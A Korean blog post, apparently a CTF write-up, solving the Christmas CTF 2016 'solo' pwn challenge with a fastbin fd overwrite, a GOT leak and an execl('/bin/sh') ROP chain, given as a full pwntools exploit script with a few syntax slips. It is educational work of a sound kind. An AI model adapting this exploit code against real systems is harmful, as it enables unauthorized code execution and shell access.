2017. 1. 17. 21:02

## Christmas CTF_2016
    (whoissolo,100pts,pwn)


[Summary]

1. 2가지 시나리오로 풀이가 가능함(fastbin attack, unsorted bin attack)

2. heap 취약점(fastbin overwrite)을 이용해 특정 주소에 read/write 가능 -> 원하는 메뉴(stack overflow 유발) 활성화

3. 눈에 보이는 stack overflow 취약점을 이용해 memory leak

4. libc base를 leak -> rop(oneshot 가젯 막기 위해 patched libc 사용) -> execl()/system() rop 사용


[Analysis] 

(https://drive.google.com/open?id=0B12bAVEUfDg7Q3JYdmxkRnRMSms) - (solo binary)
(https://drive.google.com/open?id=0B12bAVEUfDg7a0ZTMDhORzVzVXc) - (patched_libc binary)

 

 우선 이 문제는 대회 때는 풀지 못한 문제이고 출제자(s0nsari)의 말을 들어보니 원래 의도한 unsorted bin attack으로 

풀지 않고 fastbin attack으로 푼 사람이 대부분이라고 했다. 


이 Write-up에서도 아직 unsorted bin attack에 대해 잘 모르고 익숙하지 않아 fastbin attack으로 exploit한 것에 대해 

설명할 것이다.


이 문제를 실행하면 아래 [그림 1]과 같은 메뉴 선택 창이 나타난다.

[그림 1] solo 실행


 총 5개의 메뉴가 있는데 1번은 말그대로 malloc()을 이용해서 힙영역에 할당하는 메뉴, 2번도 말그대로 free()함수를 

이용해 할당한 heap 을 free해주는 메뉴, 3번 list는 미구현, 4번 login은 나중에 분석하겠지만 특정 변수의 값을 체크하여

password를 묻는 기능을 가지고 있으며 간단한 bof 취약점이 존재하는 메뉴이고 5번은 프로그램 종료를 하는 메뉴이다.


이 바이너리를 IDA를 통해 확인해보면 main()함수는 아래 [그림 2]와 같다.

[그림 2] main()함수 분석


[그림 2]의 주석에도 달아놓았듯이 위 소스코드에 line number 40~46의 네번째 로그인 메뉴에서 

아주 간단한 BOF 취약점이 있고 이를 트리거하기 위해서는 qword_602080 변수의 값이 0이 아니어야 하는데

여기에 값을 넣기 위해서는 malloc으로 할당한 후 free를 하고 숨겨진 메뉴(201527)을 통해 free chunk의 fd값을 

overwrite 해야한다. 


 따라서 fd를 0x602080이 있는 영역으로 수정하고 malloc을 두 번 해주면 2번째 malloc에서 fd의 값을 참조하여 힙을 

할당하는데 그렇게 되면 0x602080주소에 값을 집어넣을 수 있게 된다.


 여기서 주의할 점이 하나 있는데 malloc할 때의 size가 중요하다. 처음 내가 문제를 풀때에는 Input Size를 5로 주었다.

(그림 3)(실제로 16바이트가 할당됨(allign)) 그렇게 한 후 fd값을 변조하고 malloc을 2번 했더니 다음 

[그림 4]과 같은 에러가 뜨면서 제대로 할당이 되지 않았다.(fd값은 할당받을 곳의 주소를 준다. -> 0x602080에 

값을 써야하므로 header를 생각해서 0x602080-0x10값으로 변조를 해주었다.)

[그림 3] malloc() 한 후의 상황


[그림 4] malloc 할당 실패


 [그림 4]와 같이 malloc() 할당이 되지 않는 이유는 size를 제대로 안 맞춰 주었기 때문인데 5바이트만큼 할당 

받겠다고 하면 malloc()함수가 할당해주는 바이트는 처음엔 32bit시스템에서는 16바이트 단위 그 뒤부터는 8바이트 

단위로 할당하고, 64bit시스템에서는 32바이트 단위 그 뒤부터는 16바이트 단위로 할당해준다. 그래서 [그림 3] 또는 

[그림 4]의 size부분에 0x21(prev_inuse bit 포함)이 들어 있는 것이다. 


 그런데 할당 받으려고 했던 0x602070부분을 확인해보면 [그림 5]와 같이 size부분이 0인 것을 확인할 수 있고 

실제 malloc 구현부를 보면 이 size값을 체크하여 위 [그림 4]와 같은 에러를 뱉어내는 것을 확인할 수 있고 우리는 

이 size값도 맞춰줄 필요가 있다.

[그림 5] 0x602070 size 부분


따라서 fd를 overwrite할 때 0x60206d부분으로 덮어씌워 주면 size부분이 아래 [그림 6]과 같이 0x7f가 되고 

우리는 size가 0x71(prev_inuse bit 포함)가 되도록만 맞춰주면 된다. 따라서 size가 0x71이 되도록 하는 바이트 

범위는 0x59(89) ~ 0x68(104)이면 되므로 이렇게 바이트만 맞춰서 할당해주면 아무 문제 없이 malloc 할당이 이루어진다.

[그림 6] 0x60206d size 부분


 따라서 이렇게 할당이 이루어지고 난 후에는 modify 메뉴를 통해서 0x60207d 부분부터 값을 채워 0x602080에 

0이 아닌 값을 집어넣고 login메뉴를 활성화 시킨 후 일반적인 BOF문제를 풀듯이 puts_plt로 메모리 릭을 한 후 

libc base addr을 구하고 execl() rop 페이로드를 작성한 후 exploit을 하면 된다. 자세한 사항은 아래 exploit code를

보면 된다.


 이 방법은 fastbin 으로 푼 방식이고 실제로 unsorted 방식으로 푸는게 출제자의 의도라고 했는데 이 방법은 차후 

공부를 좀 더 하고 업데이트를 할 계획이다.


[Exploit Code] - solo_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
 
context(arch='i686',os='linux')
local=True
#local=False
 
if local:
    p = process("./solo")
else:
    p = remote("52.175.144.148"9901)
 
binary = ELF("./solo")
 
puts_plt_addr = 0x400600
poprax_offset = 0x1b290
pop_rsi_r15_addr = 0x400d11
poprdi_addr = 0x400d13
start_addr = 0x4007b5
main_addr = 0x400680
puts_got_addr = 0x602020
read_got_addr = 0x602028
 
puts_offset = 0x6fd60
binsh_offset = 0x17c8c3
system_offset = 0x46590
execl_offset = 0xc14a0
 
binsh_addr = ''
system_addr = ''
execl_addr = ''
poprax_addr = ''
raw_input()
 
def print_menu(p):
    print p.recvuntil('$ ')
 
def select_malloc(p, chunk_num, size, data):
    print_menu(p)
    p.send("1\n")
    print p.recvuntil("Allocate Chunk Number: ")
    p.send(chunk_num+'\n')
    print p.recvuntil("Input Size: ")
    p.send(size+'\n')
    print p.recvuntil("Input Data: ")
    p.send(data+'\n')
 
def select_free(p, chunk_num):
    print_menu(p)
    p.send("2\n")
    print p.recvuntil("Free Chunk number: ")
    p.send(chunk_num+'\n')
    print p.recvline()
 
def select_modify(p, data):
    print_menu(p)
    p.send("201527\n")
    print p.recvuntil("Modify Data: ")
    p.send(data+'\n')
 
def select_login(p, passwd, stage_level=0):
    global binsh_addr, system_addr, execl_addr, poprax_addr
    if stage_level != 3:
        print_menu(p)
    p.send("4\n")
    print p.recv(1024)
    p.send(passwd+'\n')
 
def select_exit(p):
    print_menu(p)
    p.send("5\n")
    
################# Init ##################
#       Prepare Triggering Bug          #
#########################################
select_malloc(p, str(1), str(96), "A")
select_free(p, str(1))
 
################### stage 1 ####################
#   overwrite fd -> malloc()*2 arbitary alloc  #
################################################
stage1_payload = p64(0x60206d)
select_modify(p, stage1_payload)        # overwrite fd
 
select_malloc(p, str(1), str(96), "B")
select_malloc(p, str(1), str(96), "AAAA")    # allocate to 0x60207d
 
################## stage 2 #####################
#      Memory Leaking(for libc base addr)      #
################################################
stage2_payload = "X"*0x408
stage2_payload += p64(poprdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr)
#stage2_payload += p64(poprdi_addr) + p64(read_got_addr) + p64(puts_plt_addr)
stage2_payload += p64(start_addr)
stage2_payload += p64(main_addr)
select_login(p, stage2_payload)
select_exit(p)
 
leak_data = p.recv(1024); print leak_data
puts_leak_addr = (u64(leak_data[:8])) & 0x0000ffffffffffff
libc_base_addr = puts_leak_addr - puts_offset
binsh_addr = libc_base_addr + binsh_offset
system_addr = libc_base_addr + system_offset
execl_addr = libc_base_addr + execl_offset
poprax_addr = libc_base_addr + poprax_offset
print "[+] puts leak addr : " + hex(puts_leak_addr)
print "[+] libc's base addr : " + hex(libc_base_addr)
print "[+] /bin/sh addr : " + hex(binsh_addr)
print "[+] system() addr : " + hex(system_addr)
print "[+] execl() addr : " + hex(execl_addr)
print "[+] pop rax gadget addr : " + hex(poprax_addr)
 
#print p.recv(1024)
################## stage 3 #####################
#           Exploit : system("/bin/sh")        #
################################################ 
stage3_payload = "X"*0x408
 
##### system() rop #####  => Failed....!!!!!!!
#stage3_payload += p64(poprdi_addr) + p64(binsh_addr)
#stage3_payload += p64(poprax_addr) + p64(0) + p64(system_addr)
 
##### execl() rop #####
stage3_payload += p64(poprdi_addr) + p64(binsh_addr)
stage3_payload += p64(pop_rsi_r15_addr) + p64(0+ p64(0)
stage3_payload += p64(execl_addr)
select_login(p, stage3_payload, 3)
select_exit(p)
 
p.interactive()
 
 
 
cs


[Get Shell~~!!!!] - local

[그림 7] - Get Shell~!


끝~!



'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] BabyPwn(pwn)  (0) 2017.02.18
[Codegate CTF_2017] BabyMISC(MISC)  (0) 2017.02.18
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
Posted by holinder4S